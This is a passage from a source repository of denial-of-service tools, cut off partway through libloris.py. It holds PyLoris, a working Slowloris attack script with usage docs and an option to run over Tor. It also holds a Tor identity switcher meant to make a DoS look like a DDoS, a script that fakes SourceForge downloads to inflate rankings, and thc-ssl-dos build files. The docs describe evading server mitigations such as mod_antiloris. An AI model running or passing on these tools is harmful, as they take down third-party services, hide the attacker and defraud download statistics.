45 | /* Define to 1 if you have the header file. */ 46 | #undef HAVE_STRING_H 47 | 48 | /* Define to 1 if you have the header file. */ 49 | #undef HAVE_SYS_STAT_H 50 | 51 | /* Define to 1 if you have the header file. */ 52 | #undef HAVE_SYS_TIME_H 53 | 54 | /* Define to 1 if you have the header file. */ 55 | #undef HAVE_SYS_TYPES_H 56 | 57 | /* Define to 1 if you have that is POSIX.1 compatible. */ 58 | #undef HAVE_SYS_WAIT_H 59 | 60 | /* Define to 1 if the system has the type `uint32_t'. */ 61 | #undef HAVE_UINT32_T 62 | 63 | /* Define to 1 if you have the header file. */ 64 | #undef HAVE_UNISTD_H 65 | 66 | /* Define to 1 if the system has the type `u_int32_t'. */ 67 | #undef HAVE_U_INT32_T 68 | 69 | /* Define to 1 if you have the `vsnprintf' function. */ 70 | #undef HAVE_VSNPRINTF 71 | 72 | /* def */ 73 | #undef IS_UNIX 74 | 75 | /* def */ 76 | #undef OPSH_WITH_DEBUG 77 | 78 | /* Name of package */ 79 | #undef PACKAGE 80 | 81 | /* Define to the address where bug reports for this package should be sent. */ 82 | #undef PACKAGE_BUGREPORT 83 | 84 | /* Define to the full name of this package. */ 85 | #undef PACKAGE_NAME 86 | 87 | /* Define to the full name and version of this package. */ 88 | #undef PACKAGE_STRING 89 | 90 | /* Define to the one symbol short name of this package. */ 91 | #undef PACKAGE_TARNAME 92 | 93 | /* Define to the home page for this package. */ 94 | #undef PACKAGE_URL 95 | 96 | /* Define to the version of this package. */ 97 | #undef PACKAGE_VERSION 98 | 99 | /* Define to 1 if you have the ANSI C header files. */ 100 | #undef STDC_HEADERS 101 | 102 | /* Define to 1 if you can safely include both and . */ 103 | #undef TIME_WITH_SYS_TIME 104 | 105 | /* Version number of package */ 106 | #undef VERSION 107 | 108 | /* Define to empty if `const' does not conform to ANSI C. */ 109 | #undef const 110 | 111 | /* Define to `unsigned int' if does not define. */ 112 | #undef size_t 113 | -------------------------------------------------------------------------------- /pyloris/tor_switcher.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | tor_switcher.py 5 | A light interface for issuing NEWNYM signals over TOR's control port. Usefull 6 | for making a PyLoris DoS attack look like a DDoS attack. 7 | """ 8 | 9 | import random, telnetlib, thread, time 10 | from Tkinter import * 11 | 12 | class Switcher(Tk): 13 | def __init__(self): 14 | Tk.__init__(self) 15 | self.title(string = ".o0O| TOR Switcher |O0o.") 16 | 17 | self.host = StringVar() 18 | self.port = IntVar() 19 | self.passwd = StringVar() 20 | self.time = DoubleVar() 21 | 22 | self.host.set('localhost') 23 | self.port.set('9051') 24 | self.passwd.set('') 25 | self.time.set('30') 26 | 27 | Label(self, text = 'Host:').grid(row = 1, column = 1) 28 | Label(self, text = 'Port:').grid(row = 2, column = 1) 29 | Label(self, text = 'Password:').grid(row = 3, column = 1) 30 | Label(self, text = 'Interval:').grid(row = 4, column = 1) 31 | 32 | Entry(self, textvariable = self.host).grid(row = 1, column = 2, columnspan = 2) 33 | Entry(self, textvariable = self.port).grid(row = 2, column = 2, columnspan = 2) 34 | Entry(self, textvariable = self.passwd, show = '*').grid(row = 3, column = 2, columnspan = 2) 35 | Entry(self, textvariable = self.time).grid(row = 4, column = 2, columnspan = 2) 36 | 37 | Button(self, text = 'Start', command = self.start).grid(row = 5, column = 2) 38 | Button(self, text = 'Stop', command = self.stop).grid(row = 5, column = 3) 39 | 40 | self.output = Text(self, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=WORD, height = 8, width = 40) 41 | self.output.grid(row = 1, column = 4, rowspan = 5) 42 | 43 | def start(self): 44 | self.write('TOR Switcher starting.') 45 | self.ident = random.random() 46 | thread.start_new_thread(self.newnym, ()) 47 | 48 | def stop(self): 49 | try: 50 | self.write('TOR Switcher stopping.') 51 | except: 52 | pass 53 | self.ident = random.random() 54 | 55 | def write(self, message): 56 | t = time.localtime() 57 | try: 58 | self.output.insert(END, '[%02i:%02i:%02i] %s\n' % (t[3], t[4], t[3], message)) 59 | except: 60 | print('[%02i:%02i:%02i] %s\n' % (t[3], t[4], t[3], message)) 61 | 62 | def newnym(self): 63 | key = self.ident 64 | host = self.host.get() 65 | port = self.port.get() 66 | passwd = self.passwd.get() 67 | interval = self.time.get() 68 | 69 | try: 70 | tn = telnetlib.Telnet(host, port) 71 | if passwd == '': 72 | tn.write("AUTHENTICATE\r\n") 73 | else: 74 | tn.write("AUTHENTICATE \"%s\"\r\n" % (passwd)) 75 | res = tn.read_until('250 OK', 5) 76 | 77 | if res.find('250 OK') > -1: 78 | self.write('AUTHENTICATE accepted.') 79 | else: 80 | self.write('Control responded "%s".') 81 | key = self.ident + 1 82 | self.write('Quitting.') 83 | except Exception, ex: 84 | self.write('There was an error: %s.' % (ex)) 85 | key = self.ident + 1 86 | self.write('Quitting.') 87 | 88 | while key == self.ident: 89 | try: 90 | tn.write("signal NEWNYM\r\n") 91 | res = tn.read_until('250 OK', 5) 92 | if res.find('250 OK') > -1: 93 | self.write('New identity established.') 94 | else: 95 | self.write('Control responded "%s".') 96 | key = self.ident + 1 97 | self.write('Quitting.') 98 | time.sleep(interval) 99 | except Exception, ex: 100 | self.write('There was an error: %s.' % (ex)) 101 | key = self.ident + 1 102 | self.write('Quitting.') 103 | 104 | try: 105 | tn.write("QUIT\r\n") 106 | tn.close() 107 | except: 108 | pass 109 | 110 | if __name__ == '__main__': 111 | mw = Switcher() 112 | mw.mainloop() 113 | mw.stop() 114 | -------------------------------------------------------------------------------- /pyloris/scriptloris_sfspoof.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | scriptloris_sfspoof.py 5 | A quick script to demonstrate how ScriptLoris could be used to spoof valid 6 | downloads on SourceForge.net, in order to improve a project's ranking. Bonus 7 | points for using TOR Switcher in conjunction with this script. 8 | 9 | This script requires TOR to be setup and running on localhost:9050. 10 | """ 11 | 12 | projectname = 'pyloris' 13 | downloadrefer = 'http://sourceforge.net/projects/pyloris/files/pyloris/pyloris-3.0.zip/download' 14 | downloadmirror = 'superb-east' 15 | downloadhost1 = 'downloads.sourceforge.net' 16 | downloadhost2 = 'voxel.dl.sourceforge.net' 17 | downloadfile = '/sourceforge/%s/pyloris-3.0.zip' % (projectname) 18 | downloadevery = 600 19 | headevery = 60 20 | pagehitevery = 120 21 | logohitevery = 180 22 | useragent = 'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00' 23 | sockshost = 'localhost' 24 | socksport = 9050 25 | 26 | from libloris import * 27 | 28 | def main(projectname, downloadrefer, downloadmirror, downloadhost1, downloadhost2, downloadfile, 29 | downloadevery, headevery, pagehitevery, logohitevery, useragent, sockshost, socksport): 30 | options = DefaultOptions() 31 | options['referer'] = '%s.sourceforge.net/projects/%s/files/%s/download' % (projectname, projectname, downloadfile) 32 | options['host'] = downloadhost1 33 | options['port'] = 80 34 | options['connectionspeed'] = 0 35 | options['timebetweenconnections'] = downloadevery 36 | options['threadlimit'] = 1 37 | options['connectionlimit'] = 1 38 | options['socksversion'] = 'SOCKS5' 39 | options['sockshost'] = sockshost 40 | options['socksport'] = socksport 41 | options['request'] = 'GET %s?use_mirror=%s HTTP/1.1\r\n' %(downloadfile, downloadmirror) 42 | options['request'] += 'Host: %s\r\n' % (downloadhost1) 43 | options['request'] += 'Referer: %s\r\n' % (downloadrefer) 44 | options['request'] += 'User-Agent: %s\r\n\r\n' %(useragent) 45 | 46 | loris1 = ScriptLoris() 47 | loris1.LoadOptions(options) 48 | loris1.start() 49 | 50 | options['host'] = downloadhost2 51 | options['request'] = 'GET %s HTTP/1.1\r\n' % (downloadfile) 52 | options['request'] += 'Host: %s\r\n' % (downloadhost2) 53 | options['request'] += 'Referer: %s\r\n' % (downloadrefer) 54 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 55 | 56 | loris2 = ScriptLoris() 57 | loris2.LoadOptions(options) 58 | loris2.start() 59 | 60 | options['host'] = '%s.sourceforge.net' % (projectname) 61 | options['request'] = 'HEAD / HTTP/1.1\r\n' 62 | options['request'] += 'Host: %s.sourceforge.net\r\n' % (projectname) 63 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 64 | options['timebetweenconnections'] = headevery 65 | 66 | loris3 = ScriptLoris() 67 | loris3.LoadOptions(options) 68 | loris3.start() 69 | 70 | options['request'] = 'GET / HTTP/1.1\r\n' 71 | options['request'] += 'Host: %s.sourceforge.net\r\n' % (projectname) 72 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 73 | options['timebetweenconnections'] = pagehitevery 74 | 75 | loris4 = ScriptLoris() 76 | loris4.LoadOptions(options) 77 | loris4.start() 78 | 79 | options['host'] = 'sflogo.sourceforge.net' 80 | options['request'] = 'GET /sflogo.php?group_id=266347&type=12 HTTP/1.1\r\n' 81 | options['request'] += 'Host: %sflogo.sourceforge.net\r\n' 82 | options['request'] += 'User-Agent: %s\r\n\r\n' % (useragent) 83 | options['timebetweenconnections'] = logohitevery 84 | 85 | loris5 = ScriptLoris() 86 | loris5.LoadOptions(options) 87 | loris5.start() 88 | 89 | try: 90 | while True: 91 | print('File Downloads: %i' % loris1.status()[0]) 92 | print('Download Refers: %i' % loris2.status()[0]) 93 | print('HEAD Requests: %i' % loris3.status()[0]) 94 | print('Page Requests: %i' % loris4.status()[0]) 95 | print('Logo Requests: %i' % loris5.status()[0]) 96 | time.sleep(60) 97 | except: 98 | print('Quitting...') 99 | 100 | if __name__ == "__main__": 101 | main(projectname, downloadrefer, downloadmirror, downloadhost1, downloadhost2, downloadfile, 102 | downloadevery, headevery, pagehitevery, logohitevery, useragent, sockshost, socksport) 103 | 104 | -------------------------------------------------------------------------------- /thc-ssl-dos/configure.in: -------------------------------------------------------------------------------- 1 | AC_INIT(src/thc-ssl-dos.c) 2 | VER=`cat ${srcdir}/VERSION` 3 | AC_MSG_RESULT(Begining autoconfiguration process for thc-ssl-dos-$VER...) 4 | 5 | AC_CONFIG_AUX_DIR(config) 6 | AC_CANONICAL_SYSTEM 7 | 8 | AM_INIT_AUTOMAKE(thc-ssl-dos, $VER) 9 | AM_CONFIG_HEADER(config.h) 10 | 11 | AC_PROG_CC 12 | dnl AC_PROG_LIBTOOL 13 | dnl AC_DISABLE_SHARED 14 | AC_PROG_INSTALL 15 | AC_PROG_RANLIB 16 | AC_C_CONST 17 | 18 | if test $ac_cv_prog_gcc = yes; then 19 | CCOPTS='-O2 -Wall' 20 | CFLAGS="$CCOPTS" 21 | fi 22 | 23 | test "x${prefix}" != "xNONE" || prefix="/usr/local" 24 | test "x${exec_prefix}" != "xNONE" || exec_prefix="${prefix}" 25 | trydir_i="${prefix}/include" 26 | trydir_l="${prefix}/lib" 27 | 28 | if test "x${prefix}" != "x/usr/local"; then 29 | trydir_i="${trydir_i} /usr/local/include" 30 | trydir_l="${trydir_l} /usr/local/lib" 31 | fi 32 | 33 | my_top_srcdir=`cd $srcdir; pwd` 34 | my_toptop_srcdir=`cd $my_top_srcdir/..; pwd` 35 | dnl INCLUDES="-I${my_top_srcdir}/inc $INCLUDES" 36 | trydir_i="${trydir_i}" 37 | AC_ARG_WITH(includes, 38 | [ --with-includes=DIR Space-seperated list of include dirs], 39 | [ 40 | trydir_i="$trydir_i ${withval}" 41 | ]) 42 | for xincdir in $trydir_i; do 43 | if test ! -d "$xincdir"; then 44 | continue; 45 | fi 46 | INCLUDES="$INCLUDES -I${xincdir}" 47 | done 48 | CPPFLAGS="${INCLUDES} $CPPFLAGS" 49 | 50 | LIBDIR="-L./ $LIBDIR" 51 | trydir_l="${trydir_l}" 52 | AC_ARG_WITH(libs, 53 | [ --with-libs=DIR Space-seperated list of li brary directories], 54 | [ 55 | trydir_l="$trydir_l ${withval}" 56 | ]) 57 | for xlibdir in $trydir_l; do 58 | if test ! -d "$xlibdir"; then 59 | continue; 60 | fi 61 | LIBDIR="$LIBDIR -L${xlibdir}"; 62 | done 63 | LDFLAGS="${LIBDIR} $LDFLAGS" 64 | 65 | 66 | BUILD_STATIC=0 67 | AC_MSG_CHECKING(whether to compile a static binary) 68 | AC_ARG_ENABLE(static, 69 | [ --enable-static Build a static binary], 70 | [ case "$enableval" in 71 | *) 72 | AC_MSG_RESULT(yes) 73 | BUILD_STATIC=1 74 | ;; 75 | esac ], 76 | AC_MSG_RESULT(no) 77 | ) 78 | 79 | if test x"${BUILD_STATIC}" = "x1"; then 80 | CFLAGS="${CFLAGS} -static" 81 | LIBS="${LIBS} -ldl" 82 | fi 83 | 84 | 85 | WITH_DEBUG=0 86 | AC_MSG_CHECKING(whether to compile with DEBUG flag) 87 | AC_ARG_ENABLE(debug, 88 | [ --enable-debug Enable debug compilation], 89 | [ case "$enableval" in 90 | *) 91 | AC_MSG_RESULT(yes) 92 | WITH_DEBUG=1 93 | ;; 94 | esac ], 95 | AC_MSG_RESULT(no) 96 | ) 97 | 98 | 99 | AC_CHECK_FILE([/dev/urandom], AC_DEFINE([HAVE_DEVURANDOM], [1], [Define that you found /dev/urandom])) 100 | 101 | 102 | AC_CHECK_LIB(socket, socket) 103 | AC_CHECK_LIB(nsl, gethostbyname) 104 | 105 | AC_CHECK_LIB(crypto, DH_free,, AC_MSG_ERROR(libcrypto not found [part of openssl].)) 106 | AC_CHECK_LIB(ssl, BIO_new_ssl,, AC_MSG_ERROR(openssl library not found.)) 107 | 108 | AC_MSG_CHECKING(OpenSSL library version) 109 | AC_TRY_RUN([ 110 | #include 111 | #include 112 | 113 | #if (OPENSSL_VERSION_NUMBER < 0x009080cf) 114 | # error "new version required\n" 115 | #endif 116 | int main() { return 0; } 117 | ], 118 | [AC_MSG_RESULT(ok) 119 | OPENSSL_TO_OLD=0], 120 | [AC_MSG_RESULT(to old) 121 | OPENSSL_TO_OLD=1]) 122 | dnl [AC_MSG_ERROR(openssl headers not found)]) 123 | 124 | AC_HEADER_STDC 125 | AC_HEADER_SYS_WAIT 126 | AC_CHECK_HEADERS(sys/time.h unistd.h string.h) 127 | 128 | AC_C_CONST 129 | AC_HEADER_TIME 130 | 131 | AC_FUNC_MEMCMP 132 | 133 | AC_TYPE_SIZE_T 134 | AC_CHECK_TYPES(u_int32_t) 135 | AC_CHECK_TYPES(uint32_t) 136 | 137 | AC_CHECK_FUNCS(gettimeofday memcpy strchr snprintf vsnprintf) 138 | 139 | if test x"${WITH_DEBUG}" = "x1"; then 140 | AC_DEFINE(OPSH_WITH_DEBUG, 1, [def]) 141 | CFLAGS="${CFLAGS} -ggdb" 142 | fi 143 | 144 | 145 | 146 | AC_DEFINE(IS_UNIX, 1, [def]) 147 | dnl AC_SUBST(RSAREFLIB) 148 | AC_OUTPUT(Makefile src/Makefile) 149 | 150 | echo "THC-SSL-DOWN has been configured with the following options:" 151 | echo "" 152 | echo " Host: ${host}" 153 | echo " Compiler: ${CC}" 154 | echo " Compiler Flags: ${CFLAGS}" 155 | echo "Preprocessor flags: ${CPPFLAGS}" 156 | echo " Linker flags: ${LDFLAGS}" 157 | echo " Libraries: ${LIBS}" 158 | if test x"${OPENSSL_TO_OLD}" != "x0"; then 159 | echo "WARNING: OPENSSL LIBRARIES ARE TO OLD! UPDATE THEM!\n" 160 | sleep 1 161 | echo "WARNING: OPENSSL LIBRARIES ARE TO OLD! UPDATE THEM!\n" 162 | sleep 1 163 | echo "WARNING: OPENSSL LIBRARIES ARE TO OLD! UPDATE THEM!\n" 164 | sleep 1 165 | fi 166 | 167 | echo "" 168 | if test x"${WITH_DEBUG}" = "x1"; then 169 | echo " Debug build: Yes" 170 | else 171 | echo " Debug build: No" 172 | fi 173 | echo "Configuration complete. Now type: make all install" 174 | 175 | -------------------------------------------------------------------------------- /pyloris/doc/httploris.txt: -------------------------------------------------------------------------------- 1 | Using HTTPLoris is simple. In its most basic form, HTTPLoris merely needs a copy of Python 2.6. 2 | 3 | On a Linux machine, one must simply invoke the script in a terminal, stating a site to test: 4 | 5 | motoma@rocksalt:/home/motoma$ python pyloris-3.0.py motomastyle.com 6 | 7 | On Mac OS X, one invokes PyLoris the same way. Using the Terminal Application: 8 | 9 | hotdog:/Users/Motoma/ motoma$ python pyloris-3.0.py motomastyle.com 10 | 11 | Using HTTPLoris in Windows is a little different. One will need to know the location of the Python installation, and be in the proper directory. Load up a command prompt: 12 | 13 | C:\Users\Motoma\Desktop\pyloris-3.0>C:\Python26\python.exe pyloris-3.0.py motomastyle.com 14 | 15 | Advanced Options 16 | Invoking HTTPLoris by using the commands above start a limited to 500 connections across 50 threads, each sending at 1 byte/second and waiting until the connection is forced shut by the server. While this behavior will bog down an Apache server with the default settings, it is not a very thorough test. The following are some additionall options that will allow one to customize the way HTTPLoris works: 17 | 18 | -a, --attacklimit 19 | The --attacklimit flag restricts the number of total connections (current + completed) during a single session. Set this to zero to specify no limit. 20 | 21 | -c, --connectionlimit 22 | Adjusting the --connectionlimit flag can drastically change how well HTTPLoris performs. The --connectionlimit flag directly controls the number of concurrent connections held during the session. In a base Apache environment, when this number is above the MaxClients setting, the server is unresponsive. 23 | 24 | -t, --threadlimit 25 | This is the number of attacker threads run during the session. 26 | 27 | -b, --connectionspeed 28 | This is the connection speed for each individual connection in bytes/second. Comparing this with the lenght of the request, and you should have an accurate guess of how long each connection should linger. 29 | 30 | -f, --finish 31 | Specifying the --finish flag will cause HTTPLoris to finish and close connections upon the completion of the request. This will prompt servers to send full responses to the HTTP requests that are made. 32 | 33 | -k --keepalive 34 | Using the --keepalive flag will add the Connection: Keep-Alive header to the HTTP request. On vulnerable servers, this will increase the duration of connections considerably. 35 | 36 | -p, --port 37 | HTTPLoris will connect on port 80 by default. Specifying the --port flag will change this behavior. 38 | 39 | -P, --page 40 | By default, HTTPLoris will make HTTP requests for "/". Setting the --page flag will allow one to control the page that HTTPLoris requests. 41 | 42 | -q, --quit 43 | Terminate the connection without receiving reply from the server. This will reduce the effectivenes as connections will terminate as soon as the full request buffer has been sent. 44 | 45 | -r, --requesttype 46 | Setting the --requesttype flag will change the HTTP method used. Available options are GET, HEAD, POST, PUT, DELETE, OPTIONS, and TRACE. Certain proxies and load balancers will filter out certain types of requests, and hold them until the requests are complete. POST requests are commonly passed through due to their potential for large sizes, therefore this may cause different behavior. 47 | 48 | -R, --referer 49 | Adds a referring URL to the HTTP request. 50 | 51 | -s, --Size 52 | The --size flag allows one to increase the size of the request made. Increasing the size will in turn increase the duration of connections, leading to a longer sustained test. In situations where servers or firewalls are set to terminate unfinished connections, this can extend the length of the test drastically. This can also be used to test a web server's capability to handle multiple large requests and benchmark memory usage. The additional data is filled in the Cookie-Data field. 53 | 54 | -u, --useragent 55 | By default, HTTPLoris advertizes itself in the User-Agent header. The --useragent flag allows one to override this and masquerade as other web browsers. Useful because some sites will render different pages for different web browsers. 56 | 57 | -z, --gzip 58 | Specifying the --gzip flag will allow instruct PyLoris to send an "Accept-Encoding: gzip" header. When combined with the --quit and --finish flags, this can test for the CEV-2009-1891 DoS vulnerability (http://www.mail-archive.com/dev@httpd.apache.org/msg44323.html). Also leads to larger CPU usage and smaller bandwidth usage. 59 | 60 | -w, --timebetweenthreads 61 | Setting the --timebetweenthreads flag will adjust the amount of time between threads spawning. Adjusting this in conjunction with the --threadlimit will change the CPU load on your local machine. 62 | 63 | -W, --timebetweenconnections 64 | Setting the --timebetweenconnections flag will adjust the amount of time between socket connections. This will directly affect how quickly the target's connection limit is reached. 65 | 66 | Proxy Options 67 | HTTPLoris is able to connect through SOCKS4, SOCKS5, and HTTP proxies. This allows HTTPLoris to run through SSH tunnels, as well as TOR. Utilizing TOR should essentially eliminate the mitigating effects of ipchains, mod_antiloris, and mod_noloris. 68 | 69 | --socksversion 70 | Setting the --socksversion flag tells HTTPLoris to connect through a SOCKS proxy. Allowed values are SOCKS4, SOCKS5, and HTTP. 71 | 72 | --sockshost 73 | Set the --sockshost flag to the address of the SOCKS proxy when --socksversion is set. If this is not set, HTTPLoris will default to 127.0.0.1. 74 | 75 | --socksport 76 | Set the --socksport flag to the port number of the SOCKS proxy when --socksversion is set. 77 | 78 | --socksuser and --sockspass 79 | Optionally, one may set a username and password for the SOCKS proxy using these two flags. 80 | -------------------------------------------------------------------------------- /pyloris/httploris.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | httploris.py 5 | This is the current version of the original functionality of pyloris. This script 6 | is invoked quite similarly to the original pyloris.py; however, some of the arguemnts 7 | have changed. Use httploris.py --help to see the current features supported. 8 | 9 | [EXAMPLE] A basic test: 10 | httploris.py motomastyle.com 11 | 12 | [EXAMPLE] A basic test over HTTPS 13 | httploris.py motomastyle.com --ssl -p 443 14 | 15 | [EXAMPLE] A continuous test: 16 | httploris.py motomastyle.com -c 0 17 | 18 | [EXAMPLE] An angry test: 19 | httploris.py motomastyle.com -c 0 -k -P "/index.html" -s 500000 -w 0.5 -b 0.5 -r POST -u "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.33 Safari/530.5" 20 | 21 | [EXAMPLE] A test through SOCKS5 (i.e. Vidalia): 22 | httploris.py motomastyle.com --socksversion 5 --sockshost 127.0.0.1 --socksport 9050 23 | """ 24 | 25 | import optparse 26 | import sys 27 | import time 28 | 29 | from libloris import * 30 | 31 | def parse_options(): 32 | parser = optparse.OptionParser(usage = "%prog [options] www.host.com") 33 | parser.add_option("-a", "--attacklimit", action = "store", type = "int", dest = "attacklimit", default = 500, help = "Total number of connections to make (0 = unlimited, default = 500)") 34 | parser.add_option("-c", "--connectionlimit", action = "store", type = "int", dest = "connectionlimit", default = 500, help = "Total number of concurrent connections to allow (0 = unlimited, default = 500)") 35 | parser.add_option("-t", "--threadlimit", action = "store", type = "int", dest = "threadlimit", default = 50, help = "Total number of concurrent threads (0 = unlimited, default = 50)") 36 | parser.add_option("-b", "--connectionspeed", action = "store", type = "float", dest = "connectionspeed", default = 1, help = "Individual connection bandwidth in bytes per second (default = 1)") 37 | 38 | parser.add_option("-f", "--finish", action = "store_true", dest = "finish", default = False, help = "Complete each session rather than leave them unfinished (lessens the effectiveness, increases bandwidth usage)") 39 | parser.add_option("-k", "--keepalive", action = "store_true", dest = "keepalive", default = False, help = "Turn Keep-Alive on") 40 | 41 | parser.add_option("-p", "--port", action = "store", type = "int", dest = "port", default = 80, help = "Port to initiate attack on (default = 80)") 42 | parser.add_option("-P", "--page", action = "store", type = "string", dest="page", default = '/', help = "Page to request from the server (default = /)") 43 | parser.add_option("-q", "--quit", action = "store_true", dest = "quit", default = False, help = "Quit without receiving data from the server (can shorten the duration of the attack)") 44 | parser.add_option("-r", "--requesttype", action = "store", type = "string", dest = "requesttype", default = 'GET', help = "Request type, GET, HEAD, POST, PUT, DELETE, OPTIONS, or TRACE (default = GET)") 45 | parser.add_option("-R", "--referer", action = "store", type = "string", dest = "referer", default = '', help = "Set the Referer HTTP header.") 46 | parser.add_option("-s", "--size", action = "store", type = "int", dest = "size", default = 0, help = "Size of data segment to attach in cookie (default = 0)") 47 | parser.add_option("-S", "--ssl", action = "store_true", dest = "ssl", default = False, help = "Use SSL/TLS connection (for HTTPS testing)") 48 | parser.add_option("-u", "--useragent", action = "store", type = "string", dest = "useragent", default = 'pyloris.sf.net', help = "The User-Agent string for connections (defaut = pyloris.sf.net)") 49 | parser.add_option("-z", "--gzip", action = "store_true", dest = "gzip", default = False, help = "Request compressed data stream") 50 | 51 | parser.add_option("-w", "--timebetweenthreads", action = "store", type = "float", dest = "timebetweenthreads", default = 0, help = "Time to wait between spawning threads in seconds (default = 0)") 52 | parser.add_option("-W", "--timebetweenconnections", action = "store", type = "float", dest = "timebetweenconnections", default = 1, help = "Time to wait in between starting connections (default = 1)") 53 | 54 | parser.add_option("", "--socksversion", action = "store", type = "string", dest = "socksversion", default = '', help = "SOCKS version, SOCKS4, SOCKS5, or HTTP. Reqires --sockshost and --socksport") 55 | parser.add_option("", "--sockshost", action = "store", type = "string", dest = "sockshost", default = '127.0.0.1', help = "SOCKS host address (default = 127.0.0.1)") 56 | parser.add_option("", "--socksport", action = "store", type = "int", dest = "socksport", default = 0, help = "SOCKS port number") 57 | parser.add_option("", "--socksuser", action = "store", type = "string", dest = "socksuser", default = '', help = "SOCKS username") 58 | parser.add_option("", "--sockspass", action = "store", type = "string", dest = "sockspass", default = '', help = "SOCKS password") 59 | 60 | parser.add_option("-v", "--verbosity", action = "store", type = "int", dest = "verbosity", default = 1, help = "Verbosity level") 61 | 62 | (options, args) = parser.parse_args() 63 | 64 | sys.stdout.write("PyLoris, a Python implementation of the Slowloris attack (http://ha.ckers.org/slowloris).\r\n") 65 | 66 | if len(args) != 1: 67 | sys.stderr.write("No host supplied or incorrect number of arguments used.\nUse -h or --help for more information\n") 68 | print args 69 | sys.exit(1) 70 | 71 | OptionSet = DefaultOptions() 72 | 73 | OptionSet['host'] = args[0] 74 | OptionSet['port'] = options.port 75 | OptionSet['ssl'] = options.ssl 76 | OptionSet['attacklimit'] = options.attacklimit 77 | OptionSet['connectionlimit'] = options.connectionlimit 78 | OptionSet['threadlimt'] = options.threadlimit 79 | OptionSet['timebetweenthreads'] = options.timebetweenthreads 80 | OptionSet['timebetweenconnections'] = options.timebetweenconnections 81 | OptionSet['connecitonspeed'] = options.connectionspeed 82 | OptionSet['socksversion'] = options.socksversion 83 | OptionSet['sockshost'] = options.sockshost 84 | OptionSet['socksport'] = options.socksport 85 | OptionSet['socksuser'] = options.socksuser 86 | OptionSet['sockspass'] = options.sockspass 87 | OptionSet['quitimmediately'] = options.quit 88 | 89 | requesttype = options.requesttype.upper() 90 | if requesttype not in ('GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE'): 91 | sys.stderr.write('Invalid request type.\nUse -h or --help for more information') 92 | sys.exit(3) 93 | 94 | request = '%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s' % (requesttype, options.page, args[0], options.useragent) 95 | 96 | if options.keepalive == True: 97 | request += '\r\nKeep-Alive: 300\r\nConnection: Keep-Alive' 98 | 99 | if options.gzip == True: 100 | request += '\r\nAccept-Encoding: gzip' 101 | 102 | if options.referer != '': 103 | request += '\r\nReferer: %s' % (options.referer) 104 | 105 | if options.size > 0: 106 | request += '\r\nCookie: ' 107 | if options.size > 100: 108 | count = options.size / 100 109 | for i in range(int(count)): 110 | request += ('data%i=%s ' % (i, 'A' * 100)) 111 | request += 'data=' + ('A' * 100) 112 | else: 113 | request += 'data=' + ('A' * options.size) 114 | 115 | if options.finish == True: 116 | print("Specifying the -f or --finish flags can reduce the effectiveness of the test and increase bandwidth usage.") 117 | request += '\r\n\r\n' 118 | 119 | OptionSet['request'] = request 120 | 121 | return OptionSet 122 | 123 | if __name__ == "__main__": 124 | options = parse_options() 125 | loris = Loris() 126 | loris.LoadOptions(options) 127 | loris.start() 128 | time.sleep(1) 129 | 130 | while loris.running: 131 | status = loris.status() 132 | 133 | try: 134 | while True: 135 | message = loris.messages.get() 136 | print(message) 137 | except: 138 | pass 139 | 140 | try: 141 | while True: 142 | error = loris.errors.get() 143 | print(error) 144 | except: 145 | pass 146 | 147 | print('Pyloris has started %i attacks, with %i threads and %i connections currently running.' % status) 148 | status = loris.status() 149 | print('Pyloris has completed %i attacks.' % (status[0])) 150 | 151 | 152 | 153 | -------------------------------------------------------------------------------- /pyloris/libloris.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | libloris.py 5 | This is the main bulk of the PyLoris toolkit. This file contains: 6 | 7 | def DefaultOptions 8 | - The DefaultOptions function will populate a dict containing all the required 9 | options for running a basic PyLoris attack. 10 | 11 | class Loris 12 | - The Loris class is the hammer with which targets are struck. After 13 | instantiating this class, one must feed a dict containing connection options 14 | through the .LoadOptions member function. After the options are loaded, calling 15 | the .start member function will initiate the attack according to options 16 | specified. While an attack is underway, one may check the .status for a tuple of 17 | (# of total attacks started, # of attack threads, # of current open sockets). 18 | From there, you should call .messages.get, errors.get, and debug.get occasionally 19 | to gather additional information from PyLoris. 20 | 21 | See class ScriptLoris for a basic usage of the Loris class. 22 | 23 | class ScriptLoris 24 | - This is a base class for building attack scripts for rapid use or distribution. 25 | Simply instantiate a ScriptLoris object, the .options dict properties, and 26 | call .mainloop. Once you are satisfied with the results, pass the script along 27 | to your friends! 28 | """ 29 | 30 | # Base modules 31 | import Queue 32 | import socket 33 | import thread 34 | import threading 35 | import time 36 | 37 | # Some import trickery to get SSL working across Python 2.x versions. 38 | try: 39 | from ssl import wrap_socket 40 | except: 41 | wrap_socket = socket.ssl 42 | 43 | # Local modules 44 | import socks 45 | 46 | def DefaultOptions(): 47 | return { 48 | 'host' : 'localhost', # Host to attack 49 | 'port' : 80, # Port to connect to 50 | 'ssl' : False, # Use SSL connections 51 | 52 | 'attacklimit' : 500, # Total number of times to attack (0 for unlimited) 53 | 'connectionlimit' : 500, # Total number of concurrent connections (0 for unlimited) 54 | 'threadlimit' : 50, # Total number of threads (0 for unlimited) 55 | 'connectionspeed' : 1, # Connection speed in bytes/second 56 | 'timebetweenthreads' : 1, # Time delay between starting threads 57 | 'timebetweenconnections' : 1, # Time delay between starting connections 58 | 'quitimmediately' : False, # Close connections immediately after completing request 59 | 60 | 'socksversion' : '', # Enable SOCKS proxy, set to SOCKS4, SOCKS5, or HTTP 61 | 'sockshost' : '', # SOCKS host 62 | 'socksport' : 0, # SOCKS port 63 | 'socksuser' : '', # SOCKS username 64 | 'sockspass' : '', # SOCKS password 65 | 66 | 'request' : '', # The main body of the attack 67 | } 68 | 69 | class Loris(threading.Thread): 70 | options = {} 71 | 72 | running = False 73 | attacks = 0 74 | threads = 0 75 | sockets = 0 76 | 77 | def __init__(self): 78 | 